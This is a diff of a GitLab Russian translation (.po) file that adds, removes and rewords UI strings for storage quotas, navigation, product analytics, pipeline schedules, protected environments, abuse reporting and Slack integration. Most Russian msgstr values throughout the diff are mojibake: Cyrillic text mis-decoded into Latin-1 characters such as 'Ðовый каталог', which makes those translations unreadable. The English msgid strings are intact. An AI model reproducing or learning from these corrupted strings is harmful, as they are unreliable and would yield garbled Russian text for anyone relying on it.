-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27481,6 +27803,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr "Помощь"
@@ -27611,9 +27954,6 @@ msgstr "Ðовый ключ развёртываниÑ"
msgid "New directory"
msgstr "Ðовый каталог"
-msgid "New discussion"
-msgstr "ÐÐ¾Ð²Ð°Ñ Ð´Ð¸ÑкуÑÑиÑ"
-
msgid "New email address added"
msgstr ""
@@ -27929,9 +28269,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr "Ðет меток Ñ Ñ‚Ð°ÐºÐ¸Ð¼ наименованием или опиÑанием"
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -28110,6 +28447,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28654,13 +29006,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28711,6 +29057,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr "Окт."
@@ -29142,6 +29500,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -29307,6 +29668,9 @@ msgstr "ÐžÐ¿ÐµÑ€Ð°Ñ†Ð¸Ð¾Ð½Ð½Ð°Ñ Ð¿Ð°Ð½ÐµÐ»ÑŒ предоÑтавлÑет ÑвоÐ
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29734,12 +30098,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr "Помогите нам узнать о ваших потребноÑÑ‚ÑÑ…"
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr "ЕÑли вы заинтереÑованы в переноÑе пакетов из вашего чаÑтного Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ð¸Ñ Ð² рееÑÑ‚Ñ€ пакетов GitLab, пройдите наш Ð¾Ð¿Ñ€Ð¾Ñ Ð¸ раÑÑкажите нам больше о ваших потребноÑÑ‚ÑÑ…."
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr "ЕÑли вы еще не Ñделали Ñтого, вам нужно будет добавить нижераÑположенное в Ñвой файл %{codeStart}.pypirc%{codeEnd}."
@@ -29900,9 +30258,6 @@ msgstr "Извините, ваш фильтр иÑключил вÑе резул
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr "Пройти опроÑ"
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -30049,12 +30404,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr "РодительÑÐºÐ°Ñ Ñ†ÐµÐ»ÑŒ не ÑущеÑтвует."
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30586,7 +30935,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30601,6 +30950,9 @@ msgstr "Ð’Ñе"
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30613,6 +30965,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr "Ðеактивно"
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30640,6 +30995,12 @@ msgstr "ПредоÑтавьте краткое опиÑание Ñтой Ñбо
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30658,6 +31019,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31612,9 +31976,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr "Выберите, какое Ñодержимое вы хотите видеть на Ñтранице обзора проекта."
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31672,6 +32033,9 @@ msgstr "Ширина макета"
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr "Должно быть чиÑлом между %{min} и %{max}"
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31699,7 +32063,10 @@ msgstr "Тема подÑветки ÑинтакÑиÑа"
msgid "Preferences|Tab width"
msgstr "Ширина табулÑций"
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31714,9 +32081,6 @@ msgstr "Этот параметр позволÑет наÑтроить шири
msgid "Preferences|Time preferences"
msgstr "ÐаÑтройки времени"
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr "ИÑпользовать отноÑительное времÑ"
@@ -31828,6 +32192,9 @@ msgstr ""
msgid "Private profile"
msgstr "Закрытый профиль"
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31840,27 +32207,228 @@ msgstr ""
msgid "Proceed"
msgstr "Продолжить"
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr "ПродуктивноÑÑ‚ÑŒ"
@@ -32515,6 +33083,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "Ðикогда"
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32734,6 +33314,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32809,9 +33392,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr "ÐаÑтройка реÑурÑов проекта и мониторинг их здоровьÑ."
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr "ОбратитеÑÑŒ к админиÑтратору Ð´Ð»Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ñтой наÑтройки."
@@ -32983,9 +33563,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr "Только подпиÑанные коммиты могут быть отправлены в Ñтот репозиторий."
-msgid "ProjectSettings|Operations"
-msgstr "Операции"
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr "Переопределить наÑтройки уведомлений Ð´Ð»Ñ Ð²Ñех учаÑтников проекта."
@@ -33136,10 +33713,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr "Пользователи могут копировать репозиторий в новый проект."
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -33271,6 +33848,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr "Spring"
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33895,6 +34475,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} будет доÑтупно Ð´Ð»Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ñ€Ð°Ð·Ñ€Ð°Ð±Ð¾Ñ‚Ñ‡Ð¸ÐºÐ°Ð¼Ð¸. Ð’Ñ‹ уверены?"
@@ -33907,6 +34505,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33943,6 +34544,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34677,6 +35281,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34944,9 +35551,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr "Открыть заново"
@@ -35004,9 +35608,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -35043,6 +35644,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr "Сообщил %{reportedBy} %{timeAgo}"
@@ -36017,7 +36645,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -36394,7 +37022,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36601,6 +37229,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36625,9 +37259,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36643,6 +37274,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36652,12 +37286,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36850,9 +37508,6 @@ msgstr "ПоиÑк проекта"
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -37242,6 +37897,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -37263,6 +37927,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37542,7 +38209,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37605,10 +38272,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37623,6 +38290,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37692,9 +38362,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37914,9 +38581,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr "Пройти опроÑ"
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37944,6 +38608,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37974,9 +38641,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37995,9 +38659,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38779,6 +39440,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38996,9 +39660,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr "КоличеÑтво входов:"
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -39125,9 +39786,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -39158,6 +39816,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -39185,10 +39849,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -39200,22 +39864,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
-msgstr ""
-
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39713,6 +40371,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39908,15 +40572,15 @@ msgstr "Ðачать %{new_merge_request} Ñ Ñтих изменений"
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr "Ðачать новую диÑкуÑÑию…"
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr "Ðачать рецензию"
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr "Ðачните Ñ Ð²Ñ‹Ð±Ð¾Ñ€Ð° группы, чтобы проÑмотреть ÑпиÑок отноÑÑщихÑÑ Ðº ней запроÑов на ÑлиÑние, который вы затем Ñможете отфильтровать по проектам, меткам, Ñтапам и авторам."
